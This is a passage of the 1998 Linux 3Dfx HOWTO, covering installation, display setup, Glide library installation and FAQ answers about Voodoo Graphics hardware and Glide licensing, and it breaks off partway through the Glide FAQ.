The Linux 3Dfx HOWTO

Bernd Kreimeier ( bk@gamers.org)

v1.16, 6 February 1998

This document describes 3Dfx graphics accelerator chip support for Linux. It lists some supported hardware, describes how to configure the drivers, and answers frequently asked questions.

1. Introduction

  • 1.1 Contributors and Contacts
  • 1.2 Acknowledgments
  • 1.3 Revision History
  • 1.4 New versions of this document
  • 1.5 Feedback
  • 1.6 Distribution Policy

2. Graphics Accelerator Technology

  • 2.1 Basics
  • 2.2 Hardware configuration
  • 2.3 A bit of Voodoo Graphics (tm) architecture

3. Installation

  • 3.1 Installing the board
  • 3.2 Setting up the Displays
  • 3.3 Installing the Glide distribution

4. Answers To Frequently Asked Questions

5. FAQ: Requirements?

  • 5.1 What are the system requirements?
  • 5.2 Does it work with Linux-Alpha?
  • 5.3 Which 3Dfx chipsets are supported?
  • 5.4 Is the Voodoo Rush (tm) supported?
  • 5.5 Which boards are supported?
  • 5.6 How do boards differ?
  • 5.7 What about AGP?

6. FAQ: Voodoo Graphics (tm)? 3Dfx?

  • 6.1 Who is 3Dfx?
  • 6.2 Who is Quantum3D?
  • 6.3 What is the Voodoo Graphics (tm)?
  • 6.4 What is the Voodoo Rush (tm)?
  • 6.5 What is the Voodoo 2 (tm)?
  • 6.6 What is VGA pass-though?
  • 6.7 What is Texelfx or TMU?
  • 6.8 What is a Pixelfx unit?
  • 6.9 What is SLI mode?
  • 6.10 Is there a single board SLI setup?
  • 6.11 How much memory? How many buffers?
  • 6.12 Does the Voodoo Graphics (tm) do 24 or 32 bit color?
  • 6.13 Does the Voodoo Graphics (tm) store 24 or 32 bit z-buffer per pixel?
  • 6.14 What resolutions does the Voodoo Graphics (tm) support?
  • 6.15 What texture sizes are supported?
  • 6.16 Does the Voodoo Graphics (tm) support paletted textures?
  • 6.17 What about overclocking?
  • 6.18 Where could I get additional info on Voodoo Graphics (tm)?

7. FAQ: Glide? TexUS?

  • 7.1 What is Glide anyway?
  • 7.2 What is TexUS?
  • 7.3 Is Glide freeware?
  • 7.4 Where do I get Glide?
  • 7.5 Is the Glide source available?
  • 7.6 Is Linux Glide supported?
  • 7.7 Where could I post Glide questions?
  • 7.8 Where to send bug reports?
  • 7.9 Who is maintaining it?
  • 7.10 How can I contribute to Linux Glide?
  • 7.11 Do I have to use Glide?
  • 7.12 Should I program using the Glide API?
  • 7.13 What is the Glide current version?
  • 7.14 Does it support multiple Texelfx already?
  • 7.15 Is Linux Glide identical to DOS/Windows Glide?
  • 7.16 Where to I get information on Glide?
  • 7.17 Where to get some Glide demos?
  • 7.18 What is ATB?

8. FAQ: Glide and XFree86?

  • 8.1 Does it run with XFree86?
  • 8.2 Does it only run full screen?
  • 8.3 What is the problem with AT3D/Voodoo Rush (tm) boards?
  • 8.4 What about GLX for XFree86?
  • 8.5 Glide and commerical X Servers?
  • 8.6 Glide and SVGA?
  • 8.7 Glide and GGI?

9. FAQ: OpenGL/Mesa?

  • 9.1 What is OpenGL?
  • 9.2 Where to get additional information on OpenGL?
  • 9.3 Is Glide an OpenGL implementation?
  • 9.4 Is there an OpenGL driver from 3Dfx?
  • 9.5 Is there a commercial OpenGL for Linux and 3Dfx?
  • 9.6 What is Mesa?
  • 9.7 Does Mesa work with 3Dfx?
  • 9.8 How portable is Mesa with Glide?
  • 9.9 Where to get info on Mesa?
  • 9.10 Where to get information on Mesa Voodoo?
  • 9.11 Does Mesa support multitexturing?
  • 9.12 Does Mesa support single pass trilinear mipmapping?
  • 9.13 What is the Mesa "Window Hack"?
  • 9.14 How about GLUT?

10. FAQ: But Quake?

  • 10.1 What about that 3Dfx GL driver for Quake?
  • 10.2 Is there a 3Dfx based glQuake for Linux?
  • 10.3 Does glQuake run in an XFree86 window?
  • 10.4 Known Linux Quake problems?
  • 10.5 Know Linux Quake security problems?
  • 10.6 Does LinuxQuake use multitexturing?
  • 10.7 Where can I get current information on Linux glQuake?

11. FAQ: Troubleshooting?

  • 11.1 Has this hardware been tested?
  • 11.2 Failed to change I/O privilege?
  • 11.3 Does it work without root privilege?
  • 11.4 Displayed images looks awful (single screen)?
  • 11.5 The last frame is still there (single or dual screen)?
  • 11.6 Powersave kicks in (dual screen)?
  • 11.7 My machine seem to lock (X11, single screen)?
  • 11.8 My machine locks (single or dual screen)?
  • 11.9 My machine locks (used with S3 VGA board)?
  • 11.10 No address conflict, but locks anyway?
  • 11.11 Mesa runs, but does not access the board?
  • 11.12 Resetting dual board SLI?
  • 11.13 Resetting single board SLI?
Next Previous Contents


The Linux 3Dfx HOWTO: Introduction

 Next Previous Contents

1. Introduction

This is the Linux 3Dfx HOWTO document. It is intended as a quick reference covering everything you need to know to install and configure 3Dfx support under Linux. Frequently asked questions regarding the 3Dfx support are answered, and references are given to some other sources of information on a variety of topics related to computer generated, hardware accelerated 3D graphics.

This information is only valid for Linux on the Intel platform. Some information may be applicable to other processor architectures, but I have no first hand experience or information on this. It is only applicable to boards based on 3Dfx technology, any other graphics accelerator hardware is beyond the scope of this document.

1.1 Contributors and Contacts

This document would not have been possible without all the information contributed by other people - those involved in the Linux Glide port and the beta testing process, in the development of Mesa and the Mesa Voodoo drivers, or rewieving the document on behalf of 3Dfx and Quantum3D. Some of them contributed entire sections to this document.

Daryll Strauss daryll@harlot.rb.ca.us did the port, Paul J. Metzger pjm@rbd.com modified the Mesa Voodoo driver (written by David Bucciarelli tech.hmw@plus.it) for Linux, Brian Paul brianp@RA.AVID.COM integrated it with his famous Mesa library. With respect to Voodoo Graphics (tm) accelerated Mesa, additional thanks has to go to Henri Fousse, Gary McTaggart, and the maintainer of the 3Dfx Mesa for DOS, Charlie Wallace Charlie.Wallace@unistudios.com. The folks at 3Dfx, notably Gary Sanders, Rod Hughes, and Marty Franz, provided valuable input, as did Ross Q. Smith of Quantum3D. The pages on the Voodoo Extreme and Operation 3Dfx websites provided useful info as well, and in some case I relied on the 3Dfx local Newsgroups. The Linux glQuake2 port that uses Linux Glide and Mesa is maintained by Dave Kirsch zoid@idsoftware.com. Thanks to all those who sent e-mail regarding corrections and updates, and special thanks to Mark Atkinson for reminding me of the dual cable setup.

Thanks to the SGML-Tools package (formerly known as Linuxdoc-SGML), this HOWTO is available in several formats, all generated from a common source file. For information on SGML-Tools see its homepage at pobox.com/~cg/sgmltools.

1.2 Acknowledgments

3Dfx, the 3Dfx Interactive logo, Voodoo Graphics (tm), and Voodoo Rush (tm) are registered trademarks of 3Dfx Interactive, Inc. Glide, TexUS, Pixelfx and Texelfx are trademarks of 3Dfx Interactive, Inc. OpenGL is a registered trademark of Silicon Graphics. Obsidian is a trademark of Quantum3D. Other product names are trademarks of the respective holders, and are hereby considered properly acknowledged.

1.3 Revision History

Version 1.03

First version for public release.

Version 1.16

Current version v1.16 6 February 1998.

1.4 New versions of this document

You will find the most recent version of this document at www.gamers.org/dEngine/xf3D/.

New versions of this document will be periodically posted to the comp.os.linux.answers newsgroup. They will also be uploaded to various anonymous ftp sites that archive such information including ftp://sunsite.unc.edu/pub/Linux/docs/HOWTO/.

Hypertext versions of this and other Linux HOWTOs are available on many World-Wide-Web sites, including sunsite.unc.edu/LDP/. Most Linux CD-ROM distributions include the HOWTOs, often under the /usr/doc/directory, and you can also buy printed copies from several vendors.

If you make a translation of this document into another language, let me know and I'll include a reference to it here.

1.5 Feedback

I rely on you, the reader, to make this HOWTO useful. If you have any suggestions, corrections, or comments, please send them to me ( bk@gamers.org), and I will try to incorporate them in the next revision. Please add HOWTO 3Dfx to the Subject-line of the mail, so procmail will dump it in the appropriate folder.

Before sending bug reports or questions, please read all of the information in this HOWTO, and send detailed information about the problem.

If you publish this document on a CD-ROM or in hardcopy form, a complimentary copy would be appreciated. Mail me for my postal address. Also consider making a donation to the Linux Documentation Project to help support free documentation for Linux. Contact the Linux HOWTO coordinator, Tim Bynum ( linux-howto@sunsite.unc.edu), for more information.

1.6 Distribution Policy

Copyright (c) 1997, 1998 by Bernd Kreimeier. This document may be distributed under the terms set forth in the LDP license at sunsite.unc.edu/LDP/COPYRIGHT.html.

This HOWTO is free documentation; you can redistribute it and/or modify it under the terms of the LDP license. This document is distributed in the hope that it will be useful, but without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose. See the LDP license for more details.


The Linux 3Dfx HOWTO: Graphics Accelerator Technology

 Next Previous Contents

2. Graphics Accelerator Technology

2.1 Basics

This section gives a very cursory overview of computer graphics accelerator technology, in order to help you understand the concepts used later in the document. You should consult e.g. a book on OpenGL in order to learn more.

2.2 Hardware configuration

Graphics accelerators come in different flavors: either as a separate PCI board that is able to pass through the video signal of a (possibly 2D or video accelerated) VGA board, or as a PCI board that does both VGA and 3D graphics (effectively replacing older VGA controllers). The 3Dfx boards based on the Voodoo Graphics (tm) belong to the former category. We will get into this again later.

If there is no address conflict, any 3D accelerator board could be present under Linux without interfering, but in order to access the accelerator, you will need a driver. A combined 2D/3D accelerator might behave differently.

2.3 A bit of Voodoo Graphics (tm) architecture

Usually, accessing texture memory and frame/depth buffer is a major bottleneck. For each pixel on the screen, there are at least one (nearest), four (bi-linear), or eight (tri-linear mipmapped) read accesses to texture memory, plus a read/write to the depth buffer, and a read/write to frame buffer memory.

The Voodoo Graphics (tm) architecture separates texture memory from frame/depth buffer memory by introducing two separate rendering stages, with two corresponding units (Pixelfx and Texelfx), each having a separate memory interface to dedicated memory. This gives an above-average fill rate, paid for restrictions in memory management (e.g. unused framebuffer memory can not be used for texture caching).

Moreover, a Voodoo Graphics (tm) could use two TMU's (texture management or texelfx units), and finally, two Voodoo Graphics (tm) could be combined with a mechanism called Scan-Line Interleaving (SLI). SLI essentially means that each Pixelfx unit effectively provides only every other scanline, which decreases bandwidth impact on each Pixelfx' framebuffer memory.


The Linux 3Dfx HOWTO: Installation

 Next Previous Contents

3. Installation

Configuring Linux to support 3Dfx accelerators involves the following steps:

  1. Installing the board.
  2. Installing the Glide distribution.
  3. Compiling, linking and/or running the application.

The next sections will cover each of these steps in detail.

3.1 Installing the board

Follow the manufacturer's instructions for installing the hardware or have your dealer perform the installation. It should not be necessary to select settings for IRQ, DMA channel, either Plug&Pray (tm) or factory defaults should work. The add-on boards described here are memory mapped devices and do not use IRQ's. The only kind of conflict to avoid is memory overlap with other devices.

As 3Dfx does not develop or sell any boards, do not contact them on any problems.

Troubleshooting the hardware installation

To check the installation and the memory mapping, do cat /proc/pci. The output should contain something like

  Bus  0, device  12, function  0:
    VGA compatible controller: S3 Inc. Vision 968 (rev 0).
      Medium devsel.  IRQ 11.
      Non-prefetchable 32 bit memory at 0xf4000000.

  Bus  0, device   9, function  0:
    Multimedia video controller: Unknown vendor Unknown device (rev 2).
      Vendor id=121a. Device id=1.
      Fast devsel.  Fast back-to-back capable.
      Prefetchable 32 bit memory at 0xfb000000.
for a Diamond Monster 3D used with a Diamond Stealth-64. Additionally a cat /proc/cpuinfo /proc/meminfo might be helpfull for tracking down conflicts and/or submitting a bug report.

With current kernels, you will probably get a boot warning like

Jun 12 12:31:52 hal kernel: Warning : Unknown PCI device (121a:1).
Please read include/linux/pci.h
which could be safely ignored. If you happen to have a board not very common, or have encountered a new revision, you should take the time to follow the advice in /usr/include/linux/pci.h and send all necessary information to linux-pcisupport@cao-vlsi.ibp.fr.

If you experience any problems with the board, you should try to verify that DOS and/or Win95 or NT support works. You will probably not receive any useful response from a board manufacturer on a bug report or request regarding Linux. Having dealt with the Diamond support e-mail system, I would not expect useful responses for other operating systems either.

Configuring the kernel

There is no kernel configuration necessary, as long as PCI support is enabled. The Linux Kernel HOWTO should be consulted for the details of building a kernel.

Configuring devices

The current drivers do not (yet) require any special devices. This is different from other driver developments (e.g. the sound drivers, where you will find a /dev/dsp and /dev/audio). The driver uses the /dev/mem device which should always be available. In consequence, you need to use setuid or root privileges to access the accelerator board.

3.2 Setting up the Displays

There are two possible setups with add-on boards. You could either pass-through the video signal from your regular VGA board via the accelerator board to the display, or you could use two displays at the same time. Rely to the manual provided by the board manufacturer for details. Both configurations have been tried with the Monster 3D board.

Single screen display solution

This configuration allows you to check basic operations of the accelerator board - if the video signal is not transmitted to the display, hardware failure is possible.

Beware that the video output signal might deteoriate significantly if passed through the video board. To a degree, this is inevitable. However, reviews have complained about below-average of the cables provided e.g. with the Monster 3D, and judging from the one I tested, this has not changed.

There are other pitfalls in single screen configurations. Switching from the VGA display mode to the accelerated display mode will change resolution and refresh rate as well, even if you are using 640x480 e.g. with X11, too. Moreover, if you are running X11, your application is responsible for demanding all keyboard and mouse events, or you might get stuck because of changed scope and exposure on the X11 display (that is effectively invisible when the accelerated mode is used) You could use SVGA console mode instead of X11.

If you are going to use a single screen configuration and switch modes often, remember that your monitor hardware might not enjoy this kind of use.

Single screen dual cable setup

Some high end monitors (e.g. the EIZO F-784-T) come with two connectors, one with 5 BNC connectors for RGB, HSync, VSync, the other e.g. a regular VGA or a 13W3 Sub-D VGA. These displays usually also feature a front panel input selector to safely switch from one to the other. It is thus possible to use e.g. a VGA-to-BNC cable with your high end 2D card, and a VGA-to-13W3 Sub-D cable with your 3Dfx, and effectively run dual screen on one display.

Dual screen display solution

The accelerator board does not need the VGA input signal. Instead of routing the common video output through the accelerator board, you could attach a second monitor to its output, and use both at the same time. This solution is more expensive, but gives best results, as your main display will still be hires and without the signal quality losses involved in a pass-through solution. In addition, you could use X11 and the accelerated full screen display in parallel, for development and debugging.

A common problem is that the accelerator board will not provide any video signal when not used. In consequence, each time the graphics application terminates, the hardware screensave/powersave might kick in depending on your monitors configuration. Again, your hardware might not enjoy being treated like this. You should use

setenv SST_DUALSCREEN 1
to force continued video output in this setup.

3.3 Installing the Glide distribution

The Glide driver and library are provided as a single compressed archive. Use tar and gzip to unpack, and follow the instructions in the README and INSTALL accompanying the distribution. Read the install script and run it. Installation puts everything in /usr/local/glide/include,lib,bin and sets the ld.conf to look there. Where it installs and setting ld.conf are independent actions. If you skip the ld.conf step then you need the LD_LIBRARY_PATH.

You will need to install the header files in a location available at compile time, if you want to compile your own graphics applications. If you do not want to use the installation as above (i.e. you insist on a different location), make sure that any application could access the shared libary at runtime, or you will get a response like can't load library 'libglide.so'.

Using the detect program

There is a bin/detect program in the distribution (the source is not available). You have to run it as root, and you will get something like

slot  vendorId   devId   baseAddr0  command  description
----  --------  ------  ----------  -------  -----------
  00    0x8086  0x122d  0x00000000   0x0006  Intel:430FX (Triton)
  07    0x8086  0x122e  0x00000000   0x0007  Intel:ISA bridge
  09    0x121a  0x0001  0xfb000008   0x0002  3Dfx:video multimedia adapter
  10    0x1000  0x0001  0x0000e401   0x0007  ???:SCSI bus controller
  11    0x9004  0x8178  0x0000e001   0x0017  Adaptec:SCSI bus controller
  12    0x5333  0x88f0  0xf4000000   0x0083  S3:VGA-compatible display co
as a result. If you do not have root privileges, the program will bail out with
Permission denied: Failed to change I/O privilege. Are you root?
output might come handy for a bug report as well.

Using the test programs

Within the Glide distribution, you will find a folder with test programs. Note that these test programs are under 3Dfx copyright, and are legally available for use only if you have purchased a board with a 3Dfx chipset. See the LICENSE file in the distribution, or their web site www.3dfx.com for details.

It is recommend to compile and link the test programs even if there happen to be binaries in the distribution. Note that some of the programs will requires some files like alpha.3df from the distribution to be available in the same folder. All test programs use the 640x480 screen resolution. Some will request a veriety of single character inputs, others will just state Press A Key To Begin Test. Beware of loss of input scope if running X11 on the same screen at the same time.

See the README.test for a list of programs, and other details.


The Linux 3Dfx HOWTO: Answers To Frequently Asked Questions

 Next Previous Contents

4. Answers To Frequently Asked Questions

The following section answers some of the questions that (will) have been asked on the Usenet news groups and mailing lists. The FAQ has been subdivided into several parts for convenience, namely

  • FAQ: Requirements?
  • FAQ: Voodoo Graphics (tm)? 3Dfx?
  • FAQ: Glide?
  • FAQ: Glide and SVGA?
  • FAQ: Glide and XFree86?
  • FAQ: Glide versus OpenGL/Mesa?
  • FAQ: But Quake?
  • FAQ: Troubleshooting?
Each section lists several questions and answers, which will hopefully address most problems.


The Linux 3Dfx HOWTO: FAQ: Requirements?

 Next Previous Contents

5. FAQ: Requirements?

5.1 What are the system requirements?

A Linux PC, PCI 2.1 compliant, a monitor capable of 640x480, and a 3D accelerator board based on the 3Dfx Voodoo Graphics (tm). It will work on a P5 or P6, with or without MMX. The current version does not use MMX, but it has some optimized code paths for P6.

At one point, some 3Dfx statements seemed to imply that using Linux Glide required using a RedHat distribution. Note that while Linux Glide has originally been ported in a RedHat 4.1 environment, it has been used and tested with many other Linux distributions, including homebrew, Slackware, and Debian 1.3.1.

5.2 Does it work with Linux-Alpha?

There is currently no Linux Glide distribution available for any platform besides i586. As the Glide sources are not available for distribution, you will have to wait for the binary. Quantum3D has DEC Alpha support announced for 2H97. Please contact Daryll Strauss if you are interested in supporting this.

There is also the issue of porting the the assembly modules. While there are alternative C paths in the code, the assembly module in Glide (essentially triangle setup) offered significant performance gains depending on the P5 CPU used.

5.3 Which 3Dfx chipsets are supported?

Currently, the 3Dfx Voodoo Graphics (tm) chipset is supported under Linux. The Voodoo Rush (tm) chipset is not yet supported.

5.4 Is the Voodoo Rush (tm) supported?

The current port of Glide to Linux does not support the Voodoo Rush (tm). An update is in the works.

The problem is that at one point the Voodoo Rush (tm) driver code in Glide depended on Direct Draw. There was an SST96 based DOS portion in the library that could theoretically be used for Linux, as soon as all portions residing in the 2D/Direct Draw/D3D combo driver are replaced.

Thus Voodoo Rush (tm) based boards like the Hercules Stingray 128/3D or Intergraph Intense Rush are not supported yet.

5.5 Which boards are supported?

There are no officially supported boards, as 3Dfx does not sell any boards. This section does not attempt to list all boards, it will just give an overview, and will list only boards that have been found to cause trouble.

It is important to recognize that Linux support for a given board does not only require a driver for the 3D accelerator component. If a board features its own VGA core as well, support by either Linux SVGA or XFree86 is required as well (see section about Voodoo Rush (tm) chipset). Currently, an add-on solution is recommended, as it allows you to choose a regular graphics board well supported for Linux. There are other aspects discussed below.

All Quantum3D Obsidian boards, independend of texture memory, frame buffer memory, number of Pixelfx and Texelfx units, and SLI should work. Same for all other Voodoo Graphics (tm) based boards, like Orchid Righteous 3D, Canopus Pure 3D, Flash 3D, and Diamond Monster 3D. Voodoo Rush (tm) based boards are not yet supported.

Boards that are not based on 3Dfx chipsets (e.g. manufactured by S3, Matrox, 3Dlabs, Videologic) do not work with the 3Dfx drivers and are beyond the scope of this document.

5.6 How do boards differ?

As the board manufacturers are using the same chipset, any differences are due to board design. Examples are quality of the pass-through cable and connectors (reportedly, Orchid provided better quality than Diamond), availability of a TV-compliant video signal output (Canopus Pure 3D), and, most notably, memory size on board.

Most common were boards for games with 2MB texture cache and 2 MB framebuffer memory, however, the Canopus Pure3D comes with a maximal 4 MB texture cache, which is an advantage e.g. with games using dynamically changed textures, and/or illumation textures (Quake, most notably). The memory architecture of a typical Voodoo Graphics (tm) board is described below, in a separate section.

Quantum 3D offers the widest selection of 3Dfx-based boards, and is probably the place to go if you are looking for a high end Voodoo Graphics (tm) based board configuration. Quantum 3D is addressing the visual simulation market, while most of the other vendors are only targetting the consumer-level PC-game market.

5.7 What about AGP?

There is no Voodoo Graphics (tm) or Voodoo Rush (tm) AGP board that I am aware of. I am not aware of AGP support under Linux, and I do not know whether upcmong AGP boards using 3Dfx technology might possibly be supported with Linux.


The Linux 3Dfx HOWTO: FAQ: Voodoo Graphics (tm)? 3Dfx?

 Next Previous Contents

6. FAQ: Voodoo Graphics (tm)? 3Dfx?

6.1 Who is 3Dfx?

3Dfx is a San Jose based manufacturer of 3D graphics accelerator hardware for arcade games, game consoles, and PC boards. Their official website is www.3dfx.com. 3Dfx does not sell any boards, but other companies do, e.g. Quantum3D.

6.2 Who is Quantum3D?

Quantum3D started as a 3Dfx spin-off, manufacturing high end accelerator boards based on 3Dfx chip technology for consumer and business market, and supplying arcade game technology. See their home page at www.quantum3d.com for additional information. For general inquiries regarding Quantum3D, please send mail to info@quantum3d.

6.3 What is the Voodoo Graphics (tm)?

The Voodoo Graphics (tm) is a chipset manufactured by 3Dfx. It is used in hardware acceleration boards for the PC. See the HOWTO section on supported hardware.

6.4 What is the Voodoo Rush (tm)?

The Voodoo Rush (tm) is a derivate of the Voodoo Graphics (tm) that has an interface to cooperate with a 2D VGA video accelerator, effectively supporting accelerated graphics in windows. This combo is currently not supported with Linux.

6.5 What is the Voodoo 2 (tm)?

The Voodoo 2 (tm) is the successor of the Voodoo Graphics (tm) chipset, featuring several improvements. It is announced for late March 1998, and annoucements of Voodoo 2 (tm) based boards have been published e.g. by Quantum 3D, by Creative Labs, Orchid Technologies, and Diamond Multimedia.

The Voodoo 2 (tm) is supposed to be backwards compatible. However, a new version of Glide will have to be ported to Linux.

6.6 What is VGA pass-though?

The Voodoo Graphics (tm) (but not the Voodoo Rush (tm)) boards are add-on boards, meant to be used with a regular 2D VGA video accelerator board. In short, the video output of your regular VGA board is used as input for the Voodoo Graphics (tm) based add-on board, which by default passes it through to the display also connected to the Voodoo Graphics (tm) board. If the Voodoo Graphics (tm) is used (e.g. by a game), it will disconnect the VGA input signal, switch the display to a 640x480 fullscreen mode with the refresh rate configured by SST variables and the application/driver, and generate the video signal itself. The VGA doesn't need to be aware of this, and won't be.

This setup has several advantages: free choice of 2D VGA board, which is an issue with Linux, as XFree86 drivers aren't available for all chipsets and revisions, and a cost effective migration path to accelerated 3D graphics. It also has several disadvantages: an application using the Voodoo Graphics (tm) might not re-enable video output when crashing, and regular VGA video signal deteoriates in the the pass-through process.

6.7 What is Texelfx or TMU?

Voodoo Graphics (tm) chipsets have two units. The first one interfaces the texture memory on the board, does the texture mapping, and ultimately generates the input for the second unit that interfaces the framebuffer. This one is called Texelfx, aka Texture Management Unit, aka TMU. The neat thing about this is that a board can use two Texelfx instead of only one, like some of the Quantum3D Obsidian boards did, effectively doubling the processing power in some cases, depending on the application.

As each Texelfx can address 4MB texture memory, a dual Texelfx setup has an effective texture cache of up to 8MB. This can be true even if only one Texelfx is actually needed by a particular application, as textures can be distributed to both Texelfx, which are used depending on the requested texture. Both Texelfx are used together to perform certain operations as trilinear filtering and illumination texture/lightmap passes (e.g. in glQuake) in a single pass instead of the two passes that are required with only one Texelfx. To actually exploit the theoretically available speedup and cache size increase, a Glide application has to use both Texelfx properly.

The two Texelfx can not be used separately to each draw a textured triangle at the same time. A triangle is always drawn using whatever the current setup is, which can be to use both Texelfx for a single pass operation combining two textures, or one Texelfx for only a single texture. Each Texelfx can only access its own memory.

6.8 What is a Pixelfx unit?

Voodoo Graphics (tm) chipsets have two units. The second one interfaces the framebuffer and ultimately generates the depth buffer and pixel color updates. This one is called Pixelfx. The neat thing here is that two Pixelfx units can cooperate in SLI mode, like with some of the Quantum3D Obsidian boards, effectively doubling the frame rate.

6.9 What is SLI mode?

SLI means "Scanline Interleave". In this mode, two Pixelfx are connected and render in alternate turns, one handling odd, the other handling even scanlines of the actual output. Inthis mode, each Pixelfx stores only half of the image and half of the depth buffer data in its own local framebuffer, effectively doubling the number of pixels.

The Pixelfx in question can be on the same board, or on two boards properly connected. Some Quantum3D Obsidian boards support SLI with Voodoo Graphics (tm).

As two cards can decode the same PCI addresses and receive the same data, there is not necessarily additional bus bandwidth required by SLI. On the other hand, texture data will have to be replicated on both boards, thus the amount of texture memory effectively stays the same.

6.10 Is there a single board SLI setup?

There are now two types of Quantum3D SLI boards. The intial setup used two boards, two PCI slots, and an interconnect (e.g. the Obsidian 100-4440). The later revision which performs identically is contained on one full-length PCI board (e.g. Obsidian 100-4440SB). Thus a single board SLI solution is possible, and has been done.

6.11 How much memory? How many buffers?

The most essential difference between different boards using the Voodoo Graphics (tm) chipset is the amount and organization of memory. Quantum3D used a three digit scheme to descibe boards. Here is a slightly modifed one (anticipating Voodoo 2 (tm)). Note that if you use more than one Texelfx, they need the same amount of texture cache memory each, and if you combine two Pixelfx, each needs the same amount of frame buffer memory.

    "SLI / Pixelfx / Texelfx1 / Texelfx2 "
It means that a common 2MB+2MB board would be a 1/2/2/0 solution, with the minimally required total 4Mb of memory. A Canopus Pure 3D would be 1/2/4/0, or 6MB. An Obsidian-2220 board with two Texelfx would be 1/2/2/2, and an Obsidian SLI-2440 board would be 2/2/4/4. A fully featured dual board solution (2 Pixelfx, each with 2 Texelfx and 4MB frame buffer, each Texelfx 4 MB texture cache) would be 2/4/4/4, and the total amount of memory would be SLI*(Pixelfx+Texelfx1+Texelfx2), or 24 MB.

So there.

6.12 Does the Voodoo Graphics (tm) do 24 or 32 bit color?

No. The Voodoo Graphics (tm) architecture uses 16bpp internally. This is true for Voodoo Graphics (tm), Voodoo Rush (tm) and Voodoo 2 (tm) alike. Quantum3D claims to implement 22-bpp effective color depth with an enhanced 16-bpp frame buffer, though.

6.13 Does the Voodoo Graphics (tm) store 24 or 32 bit z-buffer per pixel?

No. The Voodoo Graphics (tm) architecture uses 16bpp internally for the depth buffer, too. This again is true for Voodoo Graphics (tm), Voodoo Rush (tm) and Voodoo 2 (tm) alike. Again, Quantum3D claims that using the floating point 16-bits per pixel (bpp) depth buffering provides 22-bpp effective Z-buffer precision.

6.14 What resolutions does the Voodoo Graphics (tm) support?

The Voodoo Graphics (tm) chipset supports up to 4 MB frame buffer memory. Presuming double buffering and a depth buffer, a 2MB framebuffer will support a resolution of 640x480. With 4 MB frame buffer, 800x600 is possible.

Unfortunately 960x720 is not supported. The Voodoo Graphics (tm) chipset requires that the amount of memory for a particular resolution must be such that the vertical and horizontal resolutions must be evenly divisible by 32. The video refresh controller, though can output any particular resolution, but the "virtual" size required for the memory footprint must be in dimensions evenly divisible by 32. So, 960x720 actually requires 960x736 amount of memory, and 960x736x2x3 = 4.04MBytes.

However, using two boards with SLI, or a dual Pixelfx SLI board means that each framebuffer will only have to store half of the image. Thus 2 times 4 MB in SLI mode are good up to 1024x768, which is the maximum because of the overall hardware design. You will be able to do 1024x768 tripled buffered with Z, but you will not be able to do e.g. 1280x960 with double buffering.

Note that triple buffering (no VSync synchonization required by the application), stereo buffering (for interfacing LCD shutters) and other more demanding setups will severely decrease the available resolution.

6.15 What texture sizes are supported?

The maximum texture size for the Voodoo Graphics (tm) chipset is 256x256, and you have to use powers of two. Note that for really small textures (e.g. 16x16) you are better off merging them into a large texture, and adjusting your effective texture coordinates appropriately.

6.16 Does the Voodoo Graphics (tm) support paletted textures?

The Voodoo Graphics (tm) hardware and Glide support the palette extension to OpenGL. The most recent version of Mesa does support the GL_EXT_paletted_texture and GL_EXT_shared_texture_palette extensions.

6.17 What about overclocking?

If you want to put aside considerations about warranty and overheating, and want to do overclocking to boost up performance even further, there is related info out on the web. The basic mechanism is to use Glide environment variables to adjust the clock.

Note that the actual recommended clock is board dependend. While the default clock speed is 50 Mhz, the Diamond Monster 3D property sheet lets you set up a clock of 57 MHz. It all comes down to the design of a specific board, and which components are used with the Voodoo Graphics (tm) chipset - most notably access speed of the RAM in question. If you exceed the limits of your hardware, rendering artifacts will occur to say the least. Reportedly, 57 MHz usually works, while 60 MHz or more is already pushing it.

Increasing the clock frequency also means increasing the waste heat disposed in the chips, in a nonlinear dependency (10% increase in frequency means a lot larger increase in heating). In consequence, for permanent overclocking you might want to educate yourself about ways to add cooling fans to the board in a way that does not affect warranty. A very recommendable source is the "3Dfx Voodoo Heat Report" by Eric van Ballegoie, available on the web.

6.18 Where could I get additional info on Voodoo Graphics (tm)?

There is a FAQ by 3Dfx, which should be available at their web site. You will find retail information at the following locations: www.3dfx.com and www.quantum3d.com.

Inofficial sites that have good info are "Voodoo Extreme" at www.ve3d.com, and "Operation 3Dfx" at www.ve3d.com.


The Linux 3Dfx HOWTO: FAQ: Glide? TexUS?

 Next Previous Contents

7. FAQ: Glide? TexUS?

7.1 What is Glide anyway?

Glide is a proprietary API plus drivers to access 3D graphics accelerator hardware based on chipsets manufactured by 3Dfx. Glide has been developed and implemented for DOS, Windows, and Macintosh, and has been ported to Linux by Daryll Strauss.

7.2 What is TexUS?

In the distribution is a libtexus.so, which is the 3Dfx Interactive Texture Utility Software. It is an image processing libary and utility program for preparing images for use with the 3Dfx Interactive Glide library. Features of TexUS include file format conversion, MIPmap creation, and support for 3Dfx Interactive Narrow Channel Compression textures.

The TexUS utility program texus reads images in several popular formats (TGA, PPM, RGT), generates MIPmaps, and writes the images as 3Dfx Interactive textures files (see e.g. alpha.3df, as found in the distribution) or as an image file for inspection. For details on the parameters for texus, and the API, see the TexUS documentation.

7.3 Is Glide freeware?

Nope. Glide is neither GPL'ed nor subject to any other public license. See LICENSE in the distribution for any details. Effectively, by downloading and using it, you agree to the End User License Agreement (EULA) on the 3Dfx web site. Glide is provided as binary only, and you should neither use nor distribute any files but the ones released to the public, if you have not signed an NDA. The Glide distribution including the test program sources are copyrighted by 3Dfx.

The same is true for all the sources in the Glide distribution. In the words of 3Dfx: These are not public domain, but they can be freely distributed to owners of 3Dfx products only. No card, No code!

7.4 Where do I get Glide?

The entire 3Dfx SDK is available for download off their public web-site located at www.3dfx.com. Anything else 3Dfx publicly released by 3Dfx is nearby on their website, too.

There is also an FTP site, ftp.3dfx.com. The FTP has a longer timeout, and some of the larger files have been broken into 3 files (approx. 3MB each).

7.5 Is the Glide source available?

Nope. The Glide source is made available only based on a special agreement and NDA with 3Dfx.

7.6 Is Linux Glide supported?

Currently, Linux Glide is unsupported. Basically, it is provided under the same disclaimers as the 3Dfx GL DLL (see below).

However, 3Dfx definitely wants to provide as much support as possible, and is in the process of setting up some prerequisites. For the time being, you will have to rely on the 3Dfx newsgroup (see below).

In addition, the Quantum3D web page claims that Linux support (for Obsidian) is planned for both Intel and AXP architecture systems in 2H97.

7.7 Where could I post Glide questions?

There are newsgroups currently available only on the NNTP server news.3dfx.com run by 3Dfx. This USENET groups are dedicated to 3Dfx and Glide in general, and will mainly provide assistance for DOS, Win95, and NT. The current list includes:

3dfx.events
3dfx.games.glquake
3dfx.glide
3dfx.glide.linux
3dfx.products
